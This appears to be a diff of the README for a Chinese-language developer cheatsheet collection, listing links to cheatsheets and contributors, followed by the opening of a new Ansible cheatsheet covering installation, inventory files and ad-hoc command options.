[GraphQL](./docs/graphql.md)<!--rehype:style=background: rgb(214 66 146/var(\-\-bg\-opacity));-->
|
||||
[INI](./docs/ini.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
|
||||
[JSON](./docs/json.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
|
||||
[Java](./docs/java.md)<!--rehype:style=background: rgb(211 55 49/var(\-\-bg\-opacity));&class=contributing&data-info=👆看看还缺点儿什么?-->
|
||||
[Julia](./docs/julia.md)<!--rehype:style=background: rgb(211 55 49/var(\-\-bg\-opacity));&class=contributing&data-info=👆看看还缺点儿什么?-->
|
||||
[Kotlin](./docs/kotlin.md)<!--rehype:style=background: rgb(211 55 49/var(\-\-bg\-opacity));&class=contributing&data-info=👆看看还缺点儿什么?-->
|
||||
[LaTeX](./docs/latex.md)<!--rehype:style=background: rgb(0 128 128/var(\-\-bg\-opacity));&class=contributing-->
|
||||
[Markdown](./docs/markdown.md)<!--rehype:style=background: rgb(103 61 156/var(\-\-bg\-opacity));-->
|
||||
[MySQL](./docs/mysql.md)<!--rehype:style=background: rgb(1 117 143/var(\-\-bg\-opacity));&class=tag&data-lang=SQL-->
|
||||
[MATLAB](./docs/matlab.md)<!--rehype:style=background: rgb(0 118 168/var(\-\-bg\-opacity));&class=contributing-->
|
||||
[PHP](./docs/php.md)<!--rehype:style=background: rgb(79 91 147/var(\-\-bg\-opacity));-->
|
||||
[Python](./docs/python.md)<!--rehype:style=background: rgb(43 91 132/var(\-\-bg\-opacity));-->
|
||||
[PostgreSQL](./docs/postgres.md)<!--rehype:style=background: rgb(43 109 163/var(\-\-bg\-opacity));&class=tag&data-lang=SQL-->
|
||||
[Ruby](./docs/ruby.md)<!--rehype:style=background: rgb(204 52 45/var(\-\-bg\-opacity));-->
|
||||
[Rust](./docs/rust.md)<!--rehype:style=background: rgb(71 71 71/var(\-\-bg\-opacity));-->
|
||||
[Swift](./docs/swift.md)<!--rehype:style=background: rgb(240 81 57/var(\-\-bg\-opacity));-->
|
||||
[SwiftUI](./docs/swiftui.md)<!--rehype:style=background: rgb(10 127 247/var(\-\-bg\-opacity));&class=tag&data-lang=swift-->
|
||||
[TOML](./docs/toml.md)<!--rehype:style=background: rgb(132 132 132/var(\-\-bg\-opacity));-->
|
||||
[YAML](./docs/yaml.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
|
||||
[Lua](./docs/lua.md)<!--rehype:style=background: rgb(3 3 128/var(\-\-bg\-opacity));-->
|
||||
[Pytorch](./docs/pytorch.md)<!--rehype:style=background: rgb(43 91 132/var(\-\-bg\-opacity));&class=contributing tag&data-lang=Python&data-info=👆看看还缺点儿什么?-->
|
||||
<!--rehype:class=home-card-->
|
||||
|
||||
## 前端
|
||||
|
||||
[CSS 3](./docs/css.md)<!--rehype:style=background: rgb(35 115 205/var(\-\-bg\-opacity));-->
|
||||
[CSS 3](./docs/css.md)<!--rehype:style=background: rgb(35 115 205/var(\-\-bg\-opacity));&class=tag&data-lang=CSS-->
|
||||
[Electron](./docs/electron.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));-->
|
||||
[Emmet](./docs/emmet.md)<!--rehype:style=background: rgb(122 203 23/var(\-\-bg\-opacity));-->
|
||||
[ES 6](./docs/es6.md)<!--rehype:style=background: rgb(122 203 23/var(\-\-bg\-opacity));&class=tag&data-lang=JS-->
|
||||
[Styled Components](./docs/styled-components.md)<!--rehype:style=background: rgb(221 60 184/var(\-\-bg\-opacity));-->
|
||||
[Stylus](./docs/stylus.md)<!--rehype:style=background: rgb(109 161 63/var(\-\-bg\-opacity));&class=tag&data-lang=CSS-->
|
||||
[Sass](./docs/sass.md)<!--rehype:style=background: rgb(207 100 154/var(\-\-bg\-opacity));&class=tag&data-lang=CSS-->
|
||||
[HTML](./docs/html.md)<!--rehype:style=background: rgb(228 77 39/var(\-\-bg\-opacity));-->
|
||||
[JavaScript](./docs/javascript.md)<!--rehype:style=background: rgb(203 183 31/var(\-\-bg\-opacity));-->
|
||||
[Less.js](./docs/lessjs.md)<!--rehype:style=background: rgb(29 54 93/var(\-\-bg\-opacity));&class=tag&data-lang=CSS-->
|
||||
[React](./docs/react.md)<!--rehype:style=background: rgb(34 143 173/var(\-\-bg\-opacity));-->
|
||||
[RegEx 正则表达式](./docs/regex.md)<!--rehype:style=background: rgb(149 36 155/var(\-\-bg\-opacity));-->
|
||||
[TypeScript](./docs/typescript.md)<!--rehype:style=background: rgb(49 120 198/var(\-\-bg\-opacity));-->
|
||||
[Vue 2](./docs/vue2.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));-->
|
||||
[Vue 3](./docs/vue.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));&class=contributing-->
|
||||
<!--rehype:class=home-card-->
|
||||
|
||||
## Nodejs
|
||||
|
||||
[Express.js](./docs/expressjs.md)<!--rehype:style=background: rgb(95 151 206/var(\-\-bg\-opacity));-->
|
||||
[Jest](./docs/jest.md)<!--rehype:style=background: rgb(153 66 91/var(\-\-bg\-opacity));-->
|
||||
[Koa.js](./docs/koajs.md)<!--rehype:style=background: rgb(95 151 206/var(\-\-bg\-opacity));-->
|
||||
[Lerna](./docs/lerna.md)<!--rehype:style=background: rgb(192 132 252/var(\-\-bg\-opacity));-->
|
||||
[npm](./docs/npm.md)<!--rehype:style=background: rgb(203 2 0/var(\-\-bg\-opacity));-->
|
||||
[package.json](./docs/package.json.md)<!--rehype:style=background: rgb(132 132 132/var(\-\-bg\-opacity));-->
|
||||
[React](./docs/react.md)<!--rehype:style=background: rgb(34 143 173/var(\-\-bg\-opacity));-->
|
||||
[RegEx](./docs/regex.md)<!--rehype:style=background: rgb(149 36 155/var(\-\-bg\-opacity));-->
|
||||
[TypeScript](./docs/typescript.md)<!--rehype:style=background: rgb(49 120 198/var(\-\-bg\-opacity));-->
|
||||
[Vue 2](./docs/vue2.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));-->
|
||||
[Yarn](./docs/yarn.md)<!--rehype:style=background: rgb(33 136 182/var(\-\-bg\-opacity));-->
|
||||
<!--rehype:class=home-card-->
|
||||
|
||||
## 工具
|
||||
|
||||
[nginx](./docs/nginx.md)<!--rehype:style=background: rgb(0 193 9/var(\-\-bg\-opacity));-->
|
||||
[Emacs](./docs/emacs.md)<!--rehype:style=background: rgb(98 36 134/var(\-\-bg\-opacity));-->
|
||||
[Gmail](./docs/gmail.md)<!--rehype:style=background: rgb(234 67 54/var(\-\-bg\-opacity));-->
|
||||
[nginx](./docs/nginx.md)<!--rehype:style=background: rgb(0 153 0/var(\-\-bg\-opacity));-->
|
||||
[Semver](./docs/semver.md)<!--rehype:style=background: rgb(106 111 141/var(\-\-bg\-opacity));-->
|
||||
[Sketch](./docs/sketch.md)<!--rehype:style=background: rgb(223 148 0/var(\-\-bg\-opacity));-->
|
||||
[Sketch](./docs/sketch.md)<!--rehype:style=background: rgb(223 148 0/var(\-\-bg\-opacity));&class=tag&data-lang=macOS-->
|
||||
[Sublime Text](./docs/sublime-text.md)<!--rehype:style=background: rgb(223 148 0/var(\-\-bg\-opacity));-->
|
||||
[VSCode](./docs/vscode.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
|
||||
[Vim](./docs/vim.md)<!--rehype:style=background: rgb(9 150 8/var(\-\-bg\-opacity));-->
|
||||
[WebStorm](./docs/webstorm.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
|
||||
[WebStorm](./docs/webstorm.md)<!--rehype:style=background: rgb(32 148 220/var(\-\-bg\-opacity));-->
|
||||
[XPath](./docs/xpath.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
|
||||
[Xcode](./docs/xcode.md)<!--rehype:style=background: rgb(24 151 233/var(\-\-bg\-opacity));&class=tag&data-lang=macOS-->
|
||||
<!--rehype:class=home-card-->
|
||||
|
||||
## Linux 命令
|
||||
## 命令
|
||||
|
||||
[Chmod](./docs/chmod.md)<!--rehype:style=background: rgb(239 68 113/var(\-\-bg\-opacity));-->
|
||||
[Ansible](./docs/ansible.md)<!--rehype:style=background: rgb(238 0 0/var(\-\-bg\-opacity));&class=contributing tag&data-lang=RedHad&data-info=👆看看还缺点儿什么?-->
|
||||
[Awk](./docs/awk.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Conan](./docs/conan.md)<!--rehype:style=background: rgb(0 193 9/var(\-\-bg\-opacity));&class=tag&data-lang=C/C++-->
|
||||
[CocoaPods](./docs/cocoapods.md)<!--rehype:style=background: rgb(251 0 6/var(\-\-bg\-opacity));&class=tag&data-lang=C/C++-->
|
||||
[Cargo](./docs/cargo.md)<!--rehype:style=background: rgb(71 71 71/var(\-\-bg\-opacity));&class=tag&data-lang=Rust-->
|
||||
[Curl](./docs/curl.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Chmod](./docs/chmod.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Cron](./docs/cron.md)<!--rehype:style=background: rgb(239 68 68/var(\-\-bg\-opacity));-->
|
||||
[CMake](./docs/cmake.md)<!--rehype:style=background: rgb(92 107 192/var(\-\-bg\-opacity));&class=contributing-->
|
||||
[Git](./docs/git.md)<!--rehype:style=background: rgb(215 89 62/var(\-\-bg\-opacity));-->
|
||||
[Grep](./docs/grep.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[find](./docs/find.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Find](./docs/find.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[FFmpeg](./docs/ffmpeg.md)<!--rehype:style=background: rgb(0 193 9/var(\-\-bg\-opacity));&class=contributing-->
|
||||
[Htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Home Brew](./docs/homebrew.md)<!--rehype:style=background: rgb(252 185 87/var(\-\-bg\-opacity));&class=tag&data-lang=macOS-->
|
||||
[Netstat](./docs/netstat.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[jq](./docs/jq.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));&class=tag&data-lang=JSON-->
|
||||
[Lsof](./docs/lsof.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Netcat](./docs/netcat.md)<!--rehype:style=background: rgb(4 92 135/var(\-\-bg\-opacity));-->
|
||||
[Sed](./docs/sed.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Systemd](./docs/systemd.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[SSH](./docs/ssh.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
|
||||
[Screen](./docs/screen.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
|
||||
[Tmux](./docs/tmux.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
|
||||
[YUM](./docs/yum.md)<!--rehype:style=background: rgb(86 86 123/var(\-\-bg\-opacity));-->
|
||||
[CMD](./docs/cmd.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
|
||||
[APT](./docs/apt.md)<!--rehype:style=background: rgb(30 144 255/var(\-\-bg\-opacity));-->
|
||||
[tar](./docs/tar.md)<!--rehype:style=background: rgb(215 89 62/var(\-\-bg\-opacity));-->
|
||||
<!--rehype:class=home-card-->
|
||||
|
||||
## 其它
|
||||
|
||||
[Quick Reference](./docs/quickreference.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Colors Named](./docs/colors-named.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Quick Reference](./docs/quickreference.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));&class=tag&data-lang=排版说明-->
|
||||
[Github Actions](./docs/github-actions.md)<!--rehype:style=background: rgb(121 184 255/var(\-\-bg\-opacity));-->
|
||||
[Colors Named](./docs/colors-named.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));&class=tag&data-lang=CSS-->
|
||||
[HTTP 状态码](./docs/http-status-code.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[HTML 字符实体](./docs/html-char.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[HTML 字符实体](./docs/html-char.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));&class=tag&data-lang=HTML-->
|
||||
[ISO 639-1 Language Code](./docs/iso-639-1.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Emoji](./docs/emoji.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[MIME types](./docs/mime.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Resolutions](./docs/resolutions.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
<!--rehype:class=home-card-->
|
||||
|
||||
## 看到缺少什么了吗?
|
||||
@ -83,10 +160,148 @@ Quick Reference
|
||||
|
||||
上面的列表没有看到你想要的? 您是否正在寻找一些备忘清单或参考资料,或者您有一些片段备忘清单要分享,这是一个最好的机会!
|
||||
|
||||
[`请求添加备忘单`](https://github.com/jaywcjlove/reference/issues/new?title=【备忘清单】+请求%3A+&labels=request&template=cheatsheet-request.md&assignee=jaywcjlove)<!--rehype:class=home-button&style=margin-top:2rem&target=__blank-->
|
||||
[`我有一张备忘单`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md)<!--rehype:class=home-button text-grey&target=__blank-->
|
||||
[`请求添加备忘单(速查表)`](https://github.com/jaywcjlove/reference/issues/new?title=【备忘清单】+请求%3A+&labels=request&template=cheatsheet-request.md&assignee=jaywcjlove)<!--rehype:class=home-button&style=margin-top:2rem&target=__blank-->
|
||||
[`我有一张备忘单(速查表)`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md)<!--rehype:class=home-button text-grey&target=__blank-->
|
||||
<!--rehype:style=margin-top:3rem-->
|
||||
|
||||
## 感谢所有贡献者
|
||||
<!--rehype:wrap-style=text-align: center;max-width: 650px;margin: 0 auto;&class=home-title-reset-->
|
||||
|
||||
请参阅 [Quick Reference](./docs/quickreference.md) 了解如何开始。一如既往,感谢我们出色的贡献者!
|
||||
<!--rehype:style=padding-bottom:1rem;-->
|
||||
|
||||
<!--GAMFC--><a href="https://github.com/jaywcjlove" title="小弟调调™">
|
||||
<img src="https://avatars.githubusercontent.com/u/1680273?v=4" width="42;" alt="小弟调调™"/>
|
||||
</a>
|
||||
<a href="https://github.com/Jack-Zhang-1314" title="fw_qaq">
|
||||
<img src="https://avatars.githubusercontent.com/u/82551626?v=4" width="42;" alt="fw_qaq"/>
|
||||
</a>
|
||||
<a href="https://github.com/Alex-Programer" title="Alex">
|
||||
<img src="https://avatars.githubusercontent.com/u/115539090?v=4" width="42;" alt="Alex"/>
|
||||
</a>
|
||||
<a href="https://github.com/mofelee" title="mofelee">
|
||||
<img src="https://avatars.githubusercontent.com/u/5069410?v=4" width="42;" alt="mofelee"/>
|
||||
</a>
|
||||
<a href="https://github.com/expoli" title="expoli">
|
||||
<img src="https://avatars.githubusercontent.com/u/31023767?v=4" width="42;" alt="expoli"/>
|
||||
</a>
|
||||
<a href="https://github.com/partoneplay" title="partoneplay">
|
||||
<img src="https://avatars.githubusercontent.com/u/5189132?v=4" width="42;" alt="partoneplay"/>
|
||||
</a>
|
||||
<a href="https://github.com/catcto" title="喵仙人">
|
||||
<img src="https://avatars.githubusercontent.com/u/5467932?v=4" width="42;" alt="喵仙人"/>
|
||||
</a>
|
||||
<a href="https://github.com/13812700839" title="花殇">
|
||||
<img src="https://avatars.githubusercontent.com/u/58072506?v=4" width="42;" alt="花殇"/>
|
||||
</a>
|
||||
<a href="https://github.com/Smartdousha" title="Anko">
|
||||
<img src="https://avatars.githubusercontent.com/u/52566311?v=4" width="42;" alt="Anko"/>
|
||||
</a>
|
||||
<a href="https://github.com/Brid9e" title="Brid9e">
|
||||
<img src="https://avatars.githubusercontent.com/u/85558909?v=4" width="42;" alt="Brid9e"/>
|
||||
</a>
|
||||
<a href="https://github.com/CharlotteZeng" title="Chart">
|
||||
<img src="https://avatars.githubusercontent.com/u/19461184?v=4" width="42;" alt="Chart"/>
|
||||
</a>
|
||||
<a href="https://github.com/DaiNing810" title="DaiN">
|
||||
<img src="https://avatars.githubusercontent.com/u/94962339?v=4" width="42;" alt="DaiN"/>
|
||||
</a>
|
||||
<a href="https://github.com/demigodliu" title="DemigodLiu">
|
||||
<img src="https://avatars.githubusercontent.com/u/30372735?v=4" width="42;" alt="DemigodLiu"/>
|
||||
</a>
|
||||
<a href="https://github.com/jasnzhuang" title="Jason Zhuang">
|
||||
<img src="https://avatars.githubusercontent.com/u/16612921?v=4" width="42;" alt="Jason Zhuang"/>
|
||||
</a>
|
||||
<a href="https://github.com/JetSquirrel" title="JetSquirrel">
|
||||
<img src="https://avatars.githubusercontent.com/u/20291255?v=4" width="42;" alt="JetSquirrel"/>
|
||||
</a>
|
||||
<a href="https://github.com/Lihuagreek" title="Lihuagreek">
|
||||
<img src="https://avatars.githubusercontent.com/u/51040740?v=4" width="42;" alt="Lihuagreek"/>
|
||||
</a>
|
||||
<a href="https://github.com/mariuszmichalowski" title="Mariusz Michalowski">
|
||||
<img src="https://avatars.githubusercontent.com/u/92091891?v=4" width="42;" alt="Mariusz Michalowski"/>
|
||||
</a>
|
||||
<a href="https://github.com/HanaNoryu" title="Noryu">
|
||||
<img src="https://avatars.githubusercontent.com/u/109856546?v=4" width="42;" alt="Noryu"/>
|
||||
</a>
|
||||
<a href="https://github.com/whb1998a" title="WHB">
|
||||
<img src="https://avatars.githubusercontent.com/u/44045064?v=4" width="42;" alt="WHB"/>
|
||||
</a>
|
||||
<a href="https://github.com/y52y" title="Zyj">
|
||||
<img src="https://avatars.githubusercontent.com/u/51304324?v=4" width="42;" alt="Zyj"/>
|
||||
</a>
|
||||
<a href="https://github.com/chyok" title="chyok">
|
||||
<img src="https://avatars.githubusercontent.com/u/32629225?v=4" width="42;" alt="chyok"/>
|
||||
</a>
|
||||
<a href="https://github.com/gaoxiaoduan" title="coderduan">
|
||||
<img src="https://avatars.githubusercontent.com/u/69953511?v=4" width="42;" alt="coderduan"/>
|
||||
</a>
|
||||
<a href="https://github.com/cool9203" title="cool9203">
|
||||
<img src="https://avatars.githubusercontent.com/u/29609607?v=4" width="42;" alt="cool9203"/>
|
||||
</a>
|
||||
<a href="https://github.com/godotc" title="godotc">
|
||||
<img src="https://avatars.githubusercontent.com/u/79260851?v=4" width="42;" alt="godotc"/>
|
||||
</a>
|
||||
<a href="https://github.com/greyhao" title="greyhao">
|
||||
<img src="https://avatars.githubusercontent.com/u/107107440?v=4" width="42;" alt="greyhao"/>
|
||||
</a>
|
||||
<a href="https://github.com/hua03" title="hua03">
|
||||
<img src="https://avatars.githubusercontent.com/u/19561959?v=4" width="42;" alt="hua03"/>
|
||||
</a>
|
||||
<a href="https://github.com/hweining" title="hweining">
|
||||
<img src="https://avatars.githubusercontent.com/u/8973985?v=4" width="42;" alt="hweining"/>
|
||||
</a>
|
||||
<a href="https://github.com/k983551019" title="k983551019">
|
||||
<img src="https://avatars.githubusercontent.com/u/48147837?v=4" width="42;" alt="k983551019"/>
|
||||
</a>
|
||||
<a href="https://github.com/kdxcxs" title="kdxcxs">
|
||||
<img src="https://avatars.githubusercontent.com/u/18746192?v=4" width="42;" alt="kdxcxs"/>
|
||||
</a>
|
||||
<a href="https://github.com/larry-xue" title="larry">
|
||||
<img src="https://avatars.githubusercontent.com/u/48818060?v=4" width="42;" alt="larry"/>
|
||||
</a>
|
||||
<a href="https://github.com/liliangrong777" title="liliangrong777">
|
||||
<img src="https://avatars.githubusercontent.com/u/58727146?v=4" width="42;" alt="liliangrong777"/>
|
||||
</a>
|
||||
<a href="https://github.com/lykjjj" title="lykjjj">
|
||||
<img src="https://avatars.githubusercontent.com/u/58510058?v=4" width="42;" alt="lykjjj"/>
|
||||
</a>
|
||||
<a href="https://github.com/onewesong" title="onewesong">
|
||||
<img src="https://avatars.githubusercontent.com/u/17920822?v=4" width="42;" alt="onewesong"/>
|
||||
</a>
|
||||
<a href="https://github.com/ryanhex53" title="ryanhex53">
|
||||
<img src="https://avatars.githubusercontent.com/u/360426?v=4" width="42;" alt="ryanhex53"/>
|
||||
</a>
|
||||
<a href="https://github.com/wjjwkwindy" title="wjjwkwindy">
|
||||
<img src="https://avatars.githubusercontent.com/u/9508591?v=4" width="42;" alt="wjjwkwindy"/>
|
||||
</a>
|
||||
<a href="https://github.com/xing133" title="xing133">
|
||||
<img src="https://avatars.githubusercontent.com/u/5336490?v=4" width="42;" alt="xing133"/>
|
||||
</a>
|
||||
<a href="https://github.com/zxx-457" title="zxx-457">
|
||||
<img src="https://avatars.githubusercontent.com/u/114141362?v=4" width="42;" alt="zxx-457"/>
|
||||
</a>
|
||||
<a href="https://github.com/lvzhenbo" title="吕振波">
|
||||
<img src="https://avatars.githubusercontent.com/u/32427677?v=4" width="42;" alt="吕振波"/>
|
||||
</a>
|
||||
<a href="https://github.com/lisheng741" title="芦荟柚子茶">
|
||||
<img src="https://avatars.githubusercontent.com/u/53617305?v=4" width="42;" alt="芦荟柚子茶"/>
|
||||
</a><!--GAMFC-END-->
|
||||
|
||||
贡献者列表,由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成
|
||||
<!--rehype:style=padding-top:1rem;-->
|
||||
|
||||
## 国内镜像网站
|
||||
<!--rehype:wrap-style=text-align: center;max-width: 650px;margin: 0 auto;&class=home-title-reset-->
|
||||
|
||||
由于中国国内访问,时常打不开,你可以访问下面镜像网站。推荐我的[镜像网站](https://github.com/jaywcjlove/reference/issues/102#issue-1451649637)
|
||||
|
||||
[ecdata.cn](http://ref.ecdata.cn/)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));height: 3rem;-->
|
||||
[mofe.io](http://quickref.mofe.io)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));height: 3rem;-->
|
||||
<!--rehype:class=home-card&style=margin:1.2rem 0;display: flex;justify-content: center;-->
|
||||
|
||||
如果你有资源,可以很方便部署 web 版,这非常简单,只需要克隆 gh-pages 分支代码到你的静态服务就可以了,还可以使用 [docker](https://hub.docker.com/r/wcjiang/reference) 快捷部署 web 版。
|
||||
|
||||
<!--rehype:ignore:start-->
|
||||
## License
|
||||
|
||||
|
403
docs/ansible.md
Normal file
403
docs/ansible.md
Normal file
@ -0,0 +1,403 @@
|
||||
Ansible 备忘清单
|
||||
====
|
||||
|
||||
此快速参考备忘单提供了使用 [Ansible](https://ansible.com) 的各种方法。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 安装
|
||||
|
||||
安装命令 | 环境
|
||||
:-|-
|
||||
`brew install ansible` | macos
|
||||
`yum install -y ansible` | centos
|
||||
`pip install ansible` | python
|
||||
|
||||
---
|
||||
|
||||
- [Ansible 官方文档](https://docs.ansible.com)
|
||||
|
||||
### 配置位置
|
||||
|
||||
文件路径 | 说明
|
||||
:-|-
|
||||
`/etc/ansible/ansible.cfg` | 系统范围的配置
|
||||
`~/ansible.cfg` | 用户特定的配置
|
||||
`$pwd/ansible.cfg` | 当前目录下的配置
|
||||
|
||||
### Inventory文件(hosts列表)
|
||||
|
||||
#### 静态Inventory
|
||||
|
||||
`/etc/ansible/hosts`
|
||||
|
||||
```INI
|
||||
mail.example.com
|
||||
|
||||
[webservers]
|
||||
foo.example.com
|
||||
bar.example.com
|
||||
```
|
||||
|
||||
### Inventory 主机组使用多个IP和域名
|
||||
|
||||
```
|
||||
[web]
|
||||
172.18.12.5[1:4]
|
||||
[webservers]
|
||||
www[01:50].example.com
|
||||
```
|
||||
|
||||
### Inventory 主机组使用子主机组
|
||||
|
||||
```ini
|
||||
[usa:children]
|
||||
southeast
|
||||
northeast
|
||||
southwest
|
||||
northwest
|
||||
```
|
||||
|
||||
### 给多台主机设置变量
|
||||
|
||||
`group variables`
|
||||
如果组中的所有主机共享一个变量值,则可以一次将该变量应用于整个组
|
||||
|
||||
```ini
|
||||
[atlanta]
|
||||
host1
|
||||
host2
|
||||
|
||||
[atlanta:vars]
|
||||
ntp_server=ntp.atlanta.example.com
|
||||
proxy=proxy.atlanta.example.com
|
||||
|
||||
```
|
||||
|
||||
## 命令行(ad-hoc)
|
||||
|
||||
### ansible
|
||||
|
||||
检查Inventory是否生效
|
||||
|
||||
```shell
|
||||
$ ansible all --list-hosts
|
||||
```
|
||||
|
||||
ping所有目标
|
||||
|
||||
```shell
|
||||
$ ansible all -m ping
|
||||
```
|
||||
|
||||
ping本地(不使用SSH连接)
|
||||
|
||||
```shell
|
||||
$ ansible all -i localhost, -e '{"ansible_connection": "local"}' -m ping
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
本地执行命令
|
||||
|
||||
```shell
|
||||
$ ansible all -i localhost, -e '{"ansible_connection": "local"}' -a 'hostname'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
获取本地主机的信息
|
||||
|
||||
```shell
|
||||
$ ansible all -i localhost, -e '{"ansible_connection": "local"}' -m setup
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
获取远程到本地
|
||||
|
||||
```shell
|
||||
$ ansible target -m fetch -a "src=/tmp/seq dest=/tmp/seq"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
拷贝本地到远程
|
||||
|
||||
```shell
|
||||
$ ansible target -m copy -a "src=/tmp/seq dest=/tmp/seq"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### Ansible 命令帮助
|
||||
<!--rehype:wrap-class=col-span-2 row-span-3-->
|
||||
|
||||
```bash
|
||||
$ ansible
|
||||
$ ansible <host-pattern> [options]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-a MODULE_ARGS`, `--args=MODULE_ARGS` | 模块参数
|
||||
`--ask-vault-pass` | 询问保险库密码
|
||||
`-B SECONDS`, `--background=SECONDS` | 异步运行,X 秒后失败 (默认=N/A)
|
||||
`-C`, `--check` | 不要做任何改变;相反,尝试预测可能发生的一些变化
|
||||
`-D`, `--diff` | 更改(小)文件和模板时,显示这些文件中的差异; 与 `--check` 配合使用效果很好
|
||||
`-e EXTRA_VARS`, `--extra-vars=EXTRA_VARS` | 将附加变量设置为 key=value 或 YAML/JSON
|
||||
`-f FORKS`, `--forks=FORKS` | 指定要使用的并行进程数 (default=5)
|
||||
`-h`, `--help` | 显示此帮助信息并退出
|
||||
`-i INVENTORY`, `--inventory-file=INVENTORY` | 指定清单主机路径(默认=/etc/ansible/hosts)或逗号分隔的主机列表
|
||||
`-l SUBSET`, `--limit=SUBSET` | 进一步将选定主机限制为其他模式
|
||||
`--list-hosts` | 输出匹配主机列表;不执行任何其他操作
|
||||
`-m MODULE_NAME`, `--module-name=MODULE_NAME` | 要执行的模块名称 (default=command)
|
||||
`-M MODULE_PATH`, `--module-path=MODULE_PATH` | 指定模块库的路径 (default=None)
|
||||
`--new-vault-password-file=NEW_VAULT_PASSWORD_FILE` | 用于重新生成密钥的新保管库密码文件
|
||||
`-o`, `--one-line` | 压缩输出
|
||||
`--output=OUTPUT_FILE` | 用于加密或解密的输出文件名; 使用 - 用于标准输出
|
||||
`-P POLL_INTERVAL`, `--poll=POLL_INTERVAL` | 如果使用 -B 则设置轮询间隔(default=15)
|
||||
`--syntax-check` | 对 playbook 执行语法检查,但不要执行它
|
||||
`-t TREE`, `--tree=TREE` | 将输出记录到此目录
|
||||
`--vault-password-file=VAULT_PASSWORD_FILE` | 保险库密码文件
|
||||
`-v`, `--verbose` | 详细模式(-vvv 更多,-vvvv 启用连接调试)
|
||||
`--version` | 显示程序的版本号并退出
|
||||
|
||||
控制谁以及如何连接到主机,连接选项:
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-k`, `--ask-pass` | 询问连接密码
|
||||
`--private-key=PRIVATE_KEY_FILE`, `--key-file=PRIVATE_KEY_FILE` | 使用此文件来验证连接
|
||||
`-u REMOTE_USER`, `--user=REMOTE_USER` | 以此用户身份连接(default=None)
|
||||
`-c CONNECTION`, `--connection=CONNECTION` | 要使用的连接类型 (default=smart)
|
||||
`-T TIMEOUT`, `--timeout=TIMEOUT` | 以秒为单位覆盖连接超时 (default=10)
|
||||
`--ssh-common-args=SSH_COMMON_ARGS` | 指定要传递给 sftp/scp/ssh 的常用参数 (e.g. ProxyCommand)
|
||||
`--sftp-extra-args=SFTP_EXTRA_ARGS` | 指定仅传递给 sftp 的额外参数 (e.g. -f, -l)
|
||||
`--scp-extra-args=SCP_EXTRA_ARGS` | 指定仅传递给 `scp` 的额外参数 (e.g. -l)
|
||||
`--ssh-extra-args=SSH_EXTRA_ARGS` | 指定仅传递给 `ssh` 的额外参数 (e.g. -R)
|
||||
|
||||
控制您成为目标主机上的用户的方式和用户,特权升级选项:
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
